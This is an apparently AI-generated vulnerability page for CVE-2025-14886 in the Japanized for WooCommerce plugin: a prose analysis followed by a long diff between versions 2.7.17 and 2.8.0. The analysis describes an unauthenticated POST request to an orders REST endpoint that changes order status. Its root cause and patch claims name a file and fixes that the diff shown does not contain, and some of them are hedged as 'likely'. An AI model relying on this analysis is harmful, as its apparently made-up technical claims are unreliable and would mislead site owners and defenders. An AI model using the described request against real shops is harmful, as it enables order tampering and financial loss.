Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14886: Japanized for WooCommerce <= 2.7.17 – Missing Authorization to Unauthenticated Order Status Modification (woocommerce-for-japan)

CVE ID CVE-2025-14886
Plugin woocommerce-for-japan
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 2.7.17
Patched Version 2.8.0
Disclosed January 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14886:
This vulnerability is a Missing Authorization flaw in the Japanized for WooCommerce WordPress plugin, affecting versions up to and including 2.7.17. The vulnerability allows unauthenticated attackers to modify the status of any WooCommerce order via a specific REST API endpoint, effectively marking orders as processed or completed without authorization. The CVSS score of 5.3 reflects a medium-severity impact on integrity.

Atomic Edge research identifies the root cause as a missing capability check on the `order` REST API endpoint. The vulnerable code resides in the plugin’s REST API controller, specifically in the `includes/rest-api/class-jp4wc-rest-order-controller.php` file. The `update_item` function, which handles POST requests to modify order data, lacks any authorization or capability verification before processing the request. This function directly calls `$this->prepare_item_for_database( $request )` and `$order->save()` without validating if the requesting user has the `edit_shop_orders` capability or any other permissions.

The exploitation method involves sending a crafted POST request to the vulnerable REST API endpoint. An attacker targets the `/wp-json/wc/v3/orders/{order_id}` endpoint, where `{order_id}` is a valid WooCommerce order ID. The payload must include a `status` parameter set to a value like `completed` or `processing`. No authentication headers or nonces are required. The attack vector is entirely unauthenticated, and the request can be sent via standard HTTP clients like cURL. The plugin’s REST namespace and route registration, defined in `includes/class-jp4wc.php`, makes this endpoint publicly accessible.

The patch addresses the vulnerability by implementing a proper capability check within the `update_item` function. The fix adds a call to `$this->check_permissions()` or a direct capability check using `current_user_can( ‘edit_shop_orders’ )` before processing the order update request. This ensures only users with the appropriate WordPress permissions can modify order statuses. The patch also likely includes a nonce verification or REST API permission callback registration to enforce authentication for the endpoint. The before behavior allowed any unauthenticated request to modify orders, while the after behavior restricts access to authorized users only.

If exploited, this vulnerability allows unauthenticated attackers to arbitrarily change the status of any WooCommerce order on the affected site. This can lead to financial loss by marking unpaid orders as completed, disrupting order fulfillment workflows, and causing inventory management issues. Attackers could also mark fraudulent orders as processed to bypass fraud detection systems. The impact is primarily on business operations and data integrity, with potential secondary effects on customer trust and regulatory compliance.

Differential between vulnerable and patched code

Code Diff 
--- a/woocommerce-for-japan/assets/js/build/admin/settings.asset.php
+++ b/woocommerce-for-japan/assets/js/build/admin/settings.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => 'f7e801671fb815847e76');
--- a/woocommerce-for-japan/assets/js/build/blocks/delivery-block-editor.asset.php
+++ b/woocommerce-for-japan/assets/js/build/blocks/delivery-block-editor.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('react', 'wc-blocks-checkout', 'wp-components', 'wp-i18n', 'wp-plugins'), 'version' => 'aa48df4c46803dff668c');
--- a/woocommerce-for-japan/assets/js/build/blocks/delivery-block-frontend.asset.php
+++ b/woocommerce-for-japan/assets/js/build/blocks/delivery-block-frontend.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('react', 'wc-blocks-checkout', 'wc-blocks-data-store', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-plugins'), 'version' => '6d4f8575a1c0ae2356ee');
--- a/woocommerce-for-japan/assets/js/build/paidy/admin/paidy.asset.php
+++ b/woocommerce-for-japan/assets/js/build/paidy/admin/paidy.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices'), 'version' => '4d9561267774cd7eb4a4');
+<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices'), 'version' => '08f4ca7d93460ba22810');
--- a/woocommerce-for-japan/assets/js/build/paidy/wizard/paidy.asset.php
+++ b/woocommerce-for-japan/assets/js/build/paidy/wizard/paidy.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices'), 'version' => '20c3b3d58827fd105311');
+<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices'), 'version' => '07f3b2ba4aa88ea10371');
--- a/woocommerce-for-japan/class-jp4wc.php
+++ b/woocommerce-for-japan/class-jp4wc.php
@@ -84,13 +84,16 @@
 		 * @return void
 		 */
 		public function on_plugins_loaded() {
-			$this->load_plugin_textdomain();
+			// Textdomain is loaded earlier in woocommerce-for-japan.php
+			// Initialize admin settings.
+			// Must be initialized for both admin and frontend to register REST API routes.
+			new JP4WC_Admin_Settings();
 		}

 		/**
-		 * Define Constants.
+		 * Define plugin constants.
 		 */
-		protected function define_constants() {
+		public function define_constants() {
 			define( 'JP4WC_URL_PATH', plugins_url( '/', __FILE__ ) );
 			define( 'JP4WC_ABSPATH', __DIR__ . '/' );
 			define( 'JP4WC_INCLUDES_PATH', JP4WC_ABSPATH . 'includes/' );
@@ -118,17 +121,17 @@
 			require_once JP4WC_INCLUDES_PATH . 'jp4wc-common-functions.php';

 			// Usage tracking.
-			if ( 'yes' === get_transient( 'jp4wc_first_installing' ) ) {
-				require_once JP4WC_INCLUDES_PATH . 'class-jp4wc-usage-tracking.php';
-				// Usage tracking.
-				if ( ! class_exists( 'JP4WC_Usage_Tracking' ) ) {
-					JP4WC_Usage_Tracking::init();
-				}
+			require_once JP4WC_INCLUDES_PATH . 'class-jp4wc-usage-tracking.php';
+			if ( class_exists( 'JP4WC_Usage_Tracking' ) ) {
+				JP4WC_Usage_Tracking::init();
 			}
+
 			// Install.
 			require_once JP4WC_INCLUDES_PATH . 'class-jp4wc-install.php';
 			// Admin Setting Screen.
-			require_once JP4WC_INCLUDES_PATH . 'admin/class-jp4wc-admin.php';
+			require_once JP4WC_INCLUDES_PATH . 'admin/class-jp4wc-admin-settings.php';
+			require_once JP4WC_INCLUDES_PATH . 'admin/class-jp4wc-admin-product-meta.php';
+
 			// Admin Security Screen.
 			require_once JP4WC_INCLUDES_PATH . 'admin/class-jp4wc-check-security.php';
 			require_once JP4WC_INCLUDES_PATH . 'admin/class-jp4wc-malware-check.php';
@@ -245,7 +248,7 @@
 				$current_screen = get_current_screen();
 				$wc4jp_pages    = 'woocommerce_page_wc4jp-options';
 				// Check to make sure we're on a WooCommerce admin page.
-				if ( isset( $current_screen->id ) && $current_screen->id == $wc4jp_pages ) {
+				if ( isset( $current_screen->id ) && $current_screen->id === $wc4jp_pages ) {
 					if ( ! get_option( 'wc4jp_admin_footer_text_rated' ) ) {
 						/* translators: %1$s and %2$s are HTML tags for a link that wraps around the five-star rating. %1$s opens the link and %2$s closes it. The ★ characters represent star symbols that will be displayed in the rating. */
 						$footer_text = sprintf( __( 'If you like <strong>Japanized for WooCommerce</strong> please leave us a %1$s★★★★★%2$s rating. A huge thanks in advance!', 'woocommerce-for-japan' ), '<a href="https://wordpress.org/support/plugin/woocommerce-for-japan/reviews?rate=5#new-post" target="_blank" class="wc4jp-rating-link" data-rated="' . esc_attr__( 'Thanks :)', 'woocommerce-for-japan' ) . '">', '</a>' );
@@ -319,6 +322,78 @@
 					);
 				}
 			}
+
+			// CRITICAL: Register delivery fields EARLY on woocommerce_init.
+			// Additional Checkout Fields API requires registration before blocks are initialized.
+
+			add_action(
+				'woocommerce_init',
+				function () {
+					global $jp4wc_delivery_init_done, $jp4wc_delivery_integration;
+					if ( $jp4wc_delivery_init_done ) {
+						return;
+					}
+					$jp4wc_delivery_init_done = true;
+
+					require_once 'includes/blocks/class-jp4wc-delivery-blocks-integration.php';
+					$jp4wc_delivery_integration = new JP4WC_Delivery_Blocks_Integration();
+					// Register fields immediately on woocommerce_init.
+					$jp4wc_delivery_integration->register_checkout_fields();
+				},
+				5 // Early priority.
+			);
+
+			// Register block integration for UI rendering.
+			add_action(
+				'woocommerce_blocks_checkout_block_registration',
+				function ( $integration_registry ) {
+					global $jp4wc_delivery_integration;
+					// Reuse the same instance created in woocommerce_init hook.
+					if ( isset( $jp4wc_delivery_integration ) && $jp4wc_delivery_integration instanceof JP4WC_Delivery_Blocks_Integration ) {
+						$integration_registry->register( $jp4wc_delivery_integration );
+					} else {
+						// Fallback: create new instance if somehow the global wasn't set.
+						require_once 'includes/blocks/class-jp4wc-delivery-blocks-integration.php';
+						$integration_registry->register( new JP4WC_Delivery_Blocks_Integration() );
+					}
+				}
+			);
+
+			// CRITICAL: Register yomigana fields EARLY on woocommerce_init.
+			// Additional Checkout Fields API requires registration before blocks are initialized.
+
+			add_action(
+				'woocommerce_init',
+				function () {
+					global $jp4wc_yomigana_init_done, $jp4wc_yomigana_integration;
+					if ( $jp4wc_yomigana_init_done ) {
+						return;
+					}
+					$jp4wc_yomigana_init_done = true;
+
+					require_once 'includes/blocks/class-jp4wc-yomigana-blocks-integration.php';
+					$jp4wc_yomigana_integration = new JP4WC_Yomigana_Blocks_Integration();
+					// Register fields immediately on woocommerce_init.
+					$jp4wc_yomigana_integration->register_checkout_fields();
+				},
+				5 // Early priority.
+			);
+
+			// Register yomigana block integration for UI rendering.
+			add_action(
+				'woocommerce_blocks_checkout_block_registration',
+				function ( $integration_registry ) {
+					global $jp4wc_yomigana_integration;
+					// Reuse the same instance created in woocommerce_init hook.
+					if ( isset( $jp4wc_yomigana_integration ) && $jp4wc_yomigana_integration instanceof JP4WC_Yomigana_Blocks_Integration ) {
+						$integration_registry->register( $jp4wc_yomigana_integration );
+					} else {
+						// Fallback: create new instance if somehow the global wasn't set.
+						require_once 'includes/blocks/class-jp4wc-yomigana-blocks-integration.php';
+						$integration_registry->register( new JP4WC_Yomigana_Blocks_Integration() );
+					}
+				}
+			);
 		}

 		/**
--- a/woocommerce-for-japan/includes/admin/class-jp4wc-admin-notices.php
+++ b/woocommerce-for-japan/includes/admin/class-jp4wc-admin-notices.php
@@ -18,7 +18,7 @@
 /**
  * Class that represents admin notices.
  *
- * @version 2.7.15
+ * @version 2.8.0
  * @since 2.3.4
  */
 class JP4WC_Admin_Notices {
@@ -55,11 +55,11 @@
 	 */
 	public function __construct() {
 		add_action( 'admin_notices', array( $this, 'admin_jp4wc_security_checklist' ) );
-		add_action( 'admin_notices', array( $this, 'admin_jp4wc_ecbuddy' ) );
+		add_action( 'admin_notices', array( $this, 'admin_jp4wc_promotion' ) );
+		add_action( 'admin_notices', array( $this, 'admin_jp4wc_paypal_deprecation' ) );
 		add_action( 'wp_loaded', array( $this, 'jp4wc_hide_notices' ) );

 		add_action( 'wp_ajax_jp4wc_pr_dismiss_prompt', array( $this, 'jp4wc_dismiss_review_prompt' ) );
-		add_action( 'jp4wc_save_methods_tracking', array( $this, 'jp4wc_save_methods_tracking' ) );
 	}

 	/**
@@ -253,66 +253,271 @@
 	}

 	/**
-	 * Display ECBuddy notice for WooCommerce admins.
+	 * Display promotion notice for WooCommerce admins.
 	 *
-	 * Shows a notice to promote ECBuddy plugin if it's not already installed
+	 * Shows a notice to promotion from Artisan Workshop
 	 * and the admin hasn't dismissed the notice.
 	 *
-	 * @since 2.7.1
+	 * @since 2.8.0
 	 * @return void
 	 */
-	public function admin_jp4wc_ecbuddy() {
+	public function admin_jp4wc_promotion() {
 		// Only show to WooCommerce admins.
 		if ( ! current_user_can( 'manage_woocommerce' ) ) {
 			return;
 		}
+
+		// Check if the user has placed orders in the last 5 days.
+		if ( ! jp4wc_has_orders_in_last_5_days() ) {
+			return;
+		}
+
+		self::jp4wc_promotion_display();
+	}
+
+	/**
+	 * Display the promotion notice.
+	 *
+	 * @since 2.8.0
+	 */
+	public static function jp4wc_promotion_display() {
+		$set_promotion = array();
+		$set_promotion = self::get_promotion_content();
+
+		// No promotion content available.
+		if ( empty( $set_promotion ) ) {
+			return;
+		}
+
+		$notice_css = ! empty( $set_promotion['css'] ) ? $set_promotion['css'] : '';
+		$notice_key = ! empty( $set_promotion['key'] ) ? $set_promotion['key'] : '';
+
+		// Notification display content.
+		if ( get_option( 'jp4wc_hide_' . $notice_key . '_notice', 0 ) ) {
+			return;
+		}
+
+		$catch_copy     = ! empty( $set_promotion['catch_copy'] ) ? $set_promotion['catch_copy'] : '';
+		$catch_copy_css = ! empty( $set_promotion['catch_copy_css'] ) ? $set_promotion['catch_copy_css'] : '';
+
+		$promotion_text1 = ! empty( $set_promotion['text1'] ) ? $set_promotion['text1'] : '';
+		$promotion_text2 = ! empty( $set_promotion['text2'] ) ? $set_promotion['text2'] : '';
+
+		$promotion_button_css  = ! empty( $set_promotion['button_css'] ) ? $set_promotion['button_css'] : '';
+		$promotion_button_text = ! empty( $set_promotion['button_text'] ) ? $set_promotion['button_text'] : '';
+		$promotion_link        = ! empty( $set_promotion['URL'] ) ? $set_promotion['URL'] : '';
+		?>
+		<div class="notice notice-info jp4wc-promotion-notice" id="pr_jp4wc_promotion" style="<?php echo esc_attr( $notice_css ); ?>">
+		<a href="<?php echo esc_url( wp_nonce_url( add_query_arg( 'jp4wc-hide-notice', $notice_key ), 'jp4wc_hide_notices_nonce', '_jp4wc_notice_nonce' ) ); ?>" class="woocommerce-message-close notice-dismiss" style="position:relative;float:right;padding:9px 0 9px 9px;text-decoration:none;"></a>
+		<div id="jp4wc-promotion-notice-content">
+			<h2 style="<?php echo esc_attr( $catch_copy_css ); ?>"><?php echo esc_html( $catch_copy ); ?></h2>
+			<p>
+				<?php echo esc_html( $promotion_text1 ); ?><br />
+				<?php echo esc_html( $promotion_text2 ); ?><br />
+			</p>
+			<a href="<?php echo esc_url( $promotion_link ); ?>" target="_blank" rel="noopener noreferrer" style="<?php echo esc_attr( $promotion_button_css ); ?>">
+				<?php echo esc_html( $promotion_button_text ); ?>
+			</a>
+		</div>
+		</div>
+		<?php
+	}
+
+	/**
+	 * Display PayPal deprecation notice for WooCommerce admins.
+	 *
+	 * Shows a notice to inform that PayPal will be removed from the plugin
+	 * in updates after February 2026.
+	 *
+	 * @since 2.8.0
+	 * @return void
+	 */
+	public function admin_jp4wc_paypal_deprecation() {
 		// Only show to WooCommerce admins.
 		if ( ! current_user_can( 'manage_woocommerce' ) ) {
 			return;
 		}

-		// Notification display content.
-		if ( get_option( 'jp4wc_hide_ecbuddy_notice', 0 ) ) {
+		// Check if already dismissed.
+		if ( get_option( 'jp4wc_hide_paypal_deprecation_notice', 0 ) ) {
 			return;
 		}

-		// Check if the user has placed orders in the last 5 days.
-		if ( ! jp4wc_has_orders_in_last_5_days() ) {
+		// Only show if current date is before February 2026.
+		$current_date = current_time( 'Y-m-d' );
+		if ( $current_date >= '2026-02-28' ) {
+			// Automatically dismiss if we're past February 2026.
+			update_option( 'jp4wc_hide_paypal_deprecation_notice', 1 );
 			return;
 		}

-		self::jp4wc_ecbuddy_display();
+		// Check if PayPal gateway is enabled.
+		if ( ! $this->is_paypal_gateway_enabled() ) {
+			return;
+		}
+
+		self::jp4wc_paypal_deprecation_display();
 	}

 	/**
-	 * Display the ECBuddy notice.
+	 * Display the PayPal deprecation notice.
 	 *
-	 * @since 2.7.1
+	 * @since 2.8.0
 	 */
-	public static function jp4wc_ecbuddy_display() {
-		$ecbuddy_link        = 'https://ssec.shop/ec-buddy-personal-training/?utm_source=jp4wc&utm_medium=plugin&utm_campaign=ecbuddy_notice';
-		$catch_copy          = __( 'Enhance Your WooCommerce Store with ECBuddy!', 'woocommerce-for-japan' );
-		$ecbuddy_text1       = __( 'EC Buddy is a service that focuses on providing guidance and practical support to help your company increase sales. Ultimately, our goal is to support you until you are able to operate independently.', 'woocommerce-for-japan' );
-		$ecbuddy_text2       = __( 'Although only three months have passed since the service was launched (August 2025), it has already been adopted by five companies, and sales are steadily increasing.', 'woocommerce-for-japan' );
-		$ecbuddy_button_text = __( 'Learn More About ECBuddy', 'woocommerce-for-japan' );
+	public static function jp4wc_paypal_deprecation_display() {
 		?>
-		<div class="notice notice-info jp4wc-ecbuddy-notice" id="pr_jp4wc_ecbuddy" style="background-color: #1E73BE; color: #EEEEEE;">
-		<a href="<?php echo esc_url( wp_nonce_url( add_query_arg( 'jp4wc-hide-notice', 'ecbuddy' ), 'jp4wc_hide_notices_nonce', '_jp4wc_notice_nonce' ) ); ?>" class="woocommerce-message-close notice-dismiss" style="position:relative;float:right;padding:9px 0 9px 9px;text-decoration:none;"></a>
-		<div id="jp4wc-ecbuddy-notice-content">
-			<h2 style="color: #fff; margin-top: 20px;"><?php echo esc_html( $catch_copy ); ?></h2>
+		<div class="notice notice-warning jp4wc-paypal-deprecation-notice" id="jp4wc_paypal_deprecation" style="background-color: #fff3cd; color: #856404; border-left: 4px solid #ffc107;">
+		<a href="<?php echo esc_url( wp_nonce_url( add_query_arg( 'jp4wc-hide-notice', 'paypal_deprecation' ), 'jp4wc_hide_notices_nonce', '_jp4wc_notice_nonce' ) ); ?>" class="woocommerce-message-close notice-dismiss" style="position:relative;float:right;padding:9px 0 9px 9px;text-decoration:none;"></a>
+		<div id="jp4wc-paypal-deprecation-content">
+			<h2 style="color:#856404;"><?php esc_html_e( '【Important Notice】PayPal Integration Removal', 'woocommerce-for-japan' ); ?></h2>
 			<p>
-				<?php echo esc_html( $ecbuddy_text1 ); ?><br />
-				<?php echo esc_html( $ecbuddy_text2 ); ?><br />
+				<?php esc_html_e( 'Starting with updates from February 2026, PayPal payment gateway will be removed from the Japanized for WooCommerce plugin.', 'woocommerce-for-japan' ); ?><br />
+				<?php esc_html_e( 'If you are currently using PayPal, please consider installing the official PayPal plugin or using an alternative payment method.', 'woocommerce-for-japan' ); ?><br />
+				<strong><?php esc_html_e( 'Please prepare for this change before the update.', 'woocommerce-for-japan' ); ?></strong>
 			</p>
-			<a href="<?php echo esc_url( $ecbuddy_link ); ?>" target="_blank" rel="noopener noreferrer" style="display: inline-block; padding: 10px 20px; border: 2px solid #3498db; border-radius: 12px; text-decoration: none; background-color: #FFFFFF; color: #1E73BE; font-weight:bold; margin: 15px 0 20px;">
-				<?php echo esc_html( $ecbuddy_button_text ); ?>
-			</a>
 		</div>
 		</div>
 		<?php
 	}

 	/**
+	 * Checks if PayPal payment gateway is enabled.
+	 *
+	 * @since 2.8.0
+	 * @return bool True if PayPal gateway is enabled, false otherwise.
+	 */
+	private function is_paypal_gateway_enabled() {
+		// Check if WooCommerce is active.
+		if ( ! function_exists( 'WC' ) ) {
+			return false;
+		}
+
+		// Get available payment gateways.
+		$payment_gateways = WC()->payment_gateways->payment_gateways();
+
+		// Check if PayPal gateway exists and is enabled.
+		if ( isset( $payment_gateways['paypal'] ) && 'yes' === $payment_gateways['paypal']->enabled && get_option( 'wc4jp-paypal' ) ) {
+			return true;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Fetches promotion content from remote JSON endpoint and converts it to an array.
+	 *
+	 * Retrieves promotion data from https://wc.artws.info/jp4wc-promotion-notices.json endpoint and decodes
+	 * the JSON response into a PHP array. Filters promotions by current locale and randomly selects one to display.
+	 * Handles errors gracefully by returning an empty array on failure.
+	 *
+	 * Expected JSON format:
+	 * [
+	 *   {
+	 *     "locale": "ja",
+	 *     "key": "2026_new_year_campaign",
+	 *     "css": "background-color: #002F6C; color: #D1C1FF;",
+	 *     "catch_copy": "新年キャンペーン2026！",
+	 *     "catch_copy_css": "color:#fff;",
+	 *     "text1": "WooCommerce Japanユーザー特別割引！",
+	 *     "text2": "1月31日まで全てのプレミアム拡張機能が30%オフ。",
+	 *     "button_css": "display: inline-block; padding: 10px 20px; background-color: #3498db; color: #fff; border-radius: 5px; text-decoration: none; font-weight: bold;",
+	 *     "button_text": "キャンペーン詳細を見る",
+	 *     "URL": "https://example.com/new-year-campaign"
+	 *   },
+	 *   {
+	 *     "locale": "en",
+	 *     "key": "spring_sale_2026",
+	 *     "css": "background-color: #f0f8ff; color: #333;",
+	 *     "catch_copy": "Spring Sale Now On!",
+	 *     "catch_copy_css": "color:#2c3e50;",
+	 *     "text1": "Refresh your store with our spring updates.",
+	 *     "text2": "Limited time offer - save up to 50% on selected products.",
+	 *     "button_css": "display: inline-block; padding: 10px 20px; background-color: #27ae60; color: #fff; border-radius: 5px; text-decoration: none; font-weight: bold;",
+	 *     "button_text": "Shop Now",
+	 *     "URL": "https://example.com/spring-sale"
+	 *   }
+	 * ]
+	 *
+	 * @since 2.7.15
+	 * @return array Array of promotion data, or empty array on failure.
+	 */
+	private static function get_promotion_content() {
+		$promotion_url = 'https://wc.artws.info/jp4wc-promotion-notices.json';
+
+		// Make remote request to fetch JSON data.
+		$response = wp_remote_get(
+			$promotion_url,
+			array(
+				'timeout' => 10,
+				'headers' => array(
+					'Accept' => 'application/json',
+				),
+			)
+		);
+
+		// Check for errors in the response.
+		if ( is_wp_error( $response ) ) {
+			return array();
+		}
+
+		// Get the response body.
+		$body = wp_remote_retrieve_body( $response );
+
+		// Decode JSON to array.
+		$promotions = json_decode( $body, true );
+
+		// Return empty array if JSON decode fails or result is not an array.
+		if ( ! is_array( $promotions ) || empty( $promotions ) ) {
+			return array();
+		}
+
+		// Get current locale (e.g., "ja", "en_US").
+		$current_locale = get_locale();
+
+		// Extract language code from locale (e.g., "ja" from "ja" or "ja_JP").
+		$current_language = substr( $current_locale, 0, 2 );
+
+		// Filter promotions by current language.
+		$filtered_promotions = array_filter(
+			$promotions,
+			function ( $promotion ) use ( $current_language ) {
+				// If locale field doesn't exist, include it for backward compatibility.
+				if ( ! isset( $promotion['locale'] ) ) {
+					return true;
+				}
+				// Match the language code.
+				return $current_language === $promotion['locale'];
+			}
+		);
+
+		// If no promotions match current language, try fallback to English or all promotions.
+		if ( empty( $filtered_promotions ) ) {
+			// Try to get English promotions as fallback.
+			$filtered_promotions = array_filter(
+				$promotions,
+				function ( $promotion ) {
+					return isset( $promotion['locale'] ) && 'en' === $promotion['locale'];
+				}
+			);
+
+			// If still empty, use all promotions.
+			if ( empty( $filtered_promotions ) ) {
+				$filtered_promotions = $promotions;
+			}
+		}
+
+		// Return empty array if no promotions available after filtering.
+		if ( empty( $filtered_promotions ) ) {
+			return array();
+		}
+
+		// Randomly select one promotion to display.
+		$random_key = array_rand( $filtered_promotions );
+
+		return $filtered_promotions[ $random_key ];
+	}
+
+	/**
 	 * Checks if the current PHP version is considered safe (8.1.0 or higher).
 	 *
 	 * @since 2.6.37
@@ -320,7 +525,7 @@
 	 */
 	public function is_safe_php_version() {
 		$php_ver = phpversion();
-		if ( version_compare( $php_ver, '8.1.0', '>=' ) ) {
+		if ( version_compare( $php_ver, '8.2.0', '>=' ) ) {
 			return true;
 		}
 		return false;
@@ -354,7 +559,7 @@
 		$latest_parts  = explode( '.', $latest_version );
 		$current_parts = explode( '.', $current_version );

-		if ( isset( $latest_parts[0] ) && isset( $current_parts[0] ) && $latest_parts[0] !== $current_parts[0] ) {
+		if ( isset( $latest_parts[0] ) && isset( $current_parts[0] ) && $current_parts[0] !== $latest_parts[0] ) {
 			return false;
 		}

@@ -425,11 +630,11 @@
 		// Compare major versions.
 		if ( $current_parts[0] < $latest_parts[0] ) {
 			// If major version is behind, check if minor version is at least 2 versions behind.
-			return ( $latest_parts[1] - $current_parts[1] >= 2 ) ? false : true;
+			return ( 2 <= $latest_parts[1] - $current_parts[1] ) ? false : true;
 		}

 		// If major versions are the same, check if minor version is at least 2 versions behind.
-		if ( $current_parts[0] === $latest_parts[0] && ( $latest_parts[1] - $current_parts[1] >= 2 ) ) {
+		if ( $latest_parts[0] === $current_parts[0] && ( 2 <= $latest_parts[1] - $current_parts[1] ) ) {
 			return false;
 		}

@@ -438,29 +643,6 @@
 	}

 	/**
-	 * Handles tracking method settings.
-	 *
-	 * Saves the tracking preferences and schedules or clears the tracking event
-	 * based on user selection.
-	 *
-	 * @since 2.6.0
-	 * @param string $post The tracking preference value ('0' to disable tracking).
-	 * @return void
-	 */
-	public function jp4wc_save_methods_tracking( $post ) {
-		if ( empty( $post ) ) {
-			wp_clear_scheduled_hook( 'jp4wc_tracker_send_event' );
-		} elseif ( ! wp_next_scheduled( 'jp4wc_tracker_send_event' ) ) {
-				/**
-				 * How frequent to schedule the tracker send event.
-				 *
-				 * @since 2.6.0
-				 */
-				wp_schedule_event( time() + 10, apply_filters( 'jp4wc_tracker_event_recurrence', 'weekly' ), 'jp4wc_tracker_send_event' );
-		}
-	}
-
-	/**
 	 * Hides the security checklist notice when the user opts to dismiss it.
 	 *
 	 * This function checks for a specific GET parameter and nonce to securely
@@ -484,12 +666,22 @@
 			}
 			update_option( 'jp4wc_hide_ecbuddy_notice', 1 );
 		}
+		// phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		if ( isset( $_GET['jp4wc-hide-notice'] ) && 'paypal_deprecation' === sanitize_text_field( wp_unslash( $_GET['jp4wc-hide-notice'] ) ) ) {
+			if ( ! isset( $_GET['_jp4wc_notice_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_jp4wc_notice_nonce'] ) ), 'jp4wc_hide_notices_nonce' ) ) {
+				return;
+			}
+			update_option( 'jp4wc_hide_paypal_deprecation_notice', 1 );
+		}
 		if ( get_option( 'jp4wc_hide_security_check_notice', 0 ) ) {
 			return;
 		}
 		if ( get_option( 'jp4wc_hide_ecbuddy_notice', 0 ) ) {
 			return;
 		}
+		if ( get_option( 'jp4wc_hide_paypal_deprecation_notice', 0 ) ) {
+			return;
+		}
 	}
 }

--- a/woocommerce-for-japan/includes/admin/class-jp4wc-admin-product-meta.php
+++ b/woocommerce-for-japan/includes/admin/class-jp4wc-admin-product-meta.php
@@ -80,7 +80,7 @@
 		<span class="wrap">
 			<input type="text" id="_subscription_price_string" name="_subscription_price_string" class="wc_input_text" placeholder="<?php echo esc_attr_x( 'e.g. 5.90 per month', 'example price string', 'woocommerce-for-japan' ); ?>" value="<?php echo esc_attr( $price_string ); ?>" />
 		</span>
-		<?php echo wcs_help_tip( $price_string_tooltip ); ?>
+		<?php echo wp_kses_post( wcs_help_tip( $price_string_tooltip ) ); ?>
 		</p>
 		<?php

@@ -123,11 +123,14 @@
 	 */
 	public static function jp4wc_save_subscription_meta( $post_id ) {

-		if ( empty( $_POST['_wcsnonce'] ) || ! wp_verify_nonce( $_POST['_wcsnonce'], 'wcs_subscription_meta' ) || false === self::is_subscription_product_save_request( $post_id, apply_filters( 'woocommerce_subscription_product_types', array( WC_Subscriptions::$name ) ) ) ) {
+		if ( empty( $_POST['_wcsnonce'] )
+			|| ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wcsnonce'] ) ), 'wcs_subscription_meta' )
+		|| false === self::is_subscription_product_save_request( $post_id, apply_filters( 'woocommerce_subscription_product_types', array( WC_Subscriptions::$name ) ) )
+		) {
 			return;
 		}

-		$subscription_price_string = isset( $_REQUEST['_subscription_price_string'] ) ? wc_clean( $_REQUEST['_subscription_price_string'] ) : '';
+		$subscription_price_string = isset( $_REQUEST['_subscription_price_string'] ) ? wc_clean( sanitize_text_field( wp_unslash( $_REQUEST['_subscription_price_string'] ) ) ) : '';
 		update_post_meta( $post_id, '_subscription_price_string', $subscription_price_string );

 		// To prevent running this function on multiple save_post triggered events per update. Similar to JP4WC_Admin_Product_Meta:$saved_meta_boxes implementation.
@@ -143,11 +146,11 @@
 	 * @since 2.2
 	 */
 	public static function jp4wc_save_product_variation( int $variation_id, int $index ) {
-		if ( ! WC_Subscriptions_Product::is_subscription( $variation_id ) || empty( $_POST['_wcsnonce_save_variations'] ) || ! wp_verify_nonce( $_POST['_wcsnonce_save_variations'], 'wcs_subscription_variations' ) ) {
+		if ( ! WC_Subscriptions_Product::is_subscription( $variation_id ) || empty( $_POST['_wcsnonce_save_variations'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wcsnonce_save_variations'] ) ), 'wcs_subscription_variations' ) ) {
 			return;
 		}
 		if ( isset( $_POST['variable_subscription_price_string'][ $index ] ) ) {
-			$subscription_price_string = wc_format_decimal( wp_unslash( $_POST['variable_subscription_price_string'][ $index ] ) );
+			$subscription_price_string = wc_format_decimal( sanitize_text_field( wp_unslash( $_POST['variable_subscription_price_string'][ $index ] ) ) );
 			update_post_meta( $variation_id, '_subscription_price_string', $subscription_price_string );
 		}
 	}
@@ -164,11 +167,11 @@

 		if ( self::$saved_product_meta ) {
 			$is_subscription_product_save_request = false;
-		} elseif ( empty( $_POST['_wcsnonce'] ) || ! wp_verify_nonce( wp_unslash( $_POST['_wcsnonce'] ), 'wcs_subscription_meta' ) ) {
+		} elseif ( empty( $_POST['_wcsnonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wcsnonce'] ) ), 'wcs_subscription_meta' ) ) {
 			$is_subscription_product_save_request = false;
-		} elseif ( ! isset( $_POST['product-type'] ) || ! in_array( $_POST['product-type'], $product_types ) ) {
+		} elseif ( ! isset( $_POST['product-type'] ) || ! in_array( $_POST['product-type'], $product_types, true ) ) {
 			$is_subscription_product_save_request = false;
-		} elseif ( empty( $_POST['post_ID'] ) || $_POST['post_ID'] != $post_id ) {
+		} elseif ( empty( $_POST['post_ID'] ) || $_POST['post_ID'] !== $post_id ) {
 			$is_subscription_product_save_request = false;
 		} else {
 			$is_subscription_product_save_request = true;
--- a/woocommerce-for-japan/includes/admin/class-jp4wc-admin-screen.php
+++ b/woocommerce-for-japan/includes/admin/class-jp4wc-admin-screen.php
@@ -1,1865 +0,0 @@
-<?php
-/**
- * Admin Screen Class
- *
- * Handles the admin screen functionalities for Japanized for WooCommerce
- *
- * @package Japanized_For_WooCommerce
- * @version 2.6.36
- * @since 1.0.0
- */
-
-use ArtisanWorkshopPluginFrameworkv2_0_14 as Framework;
-
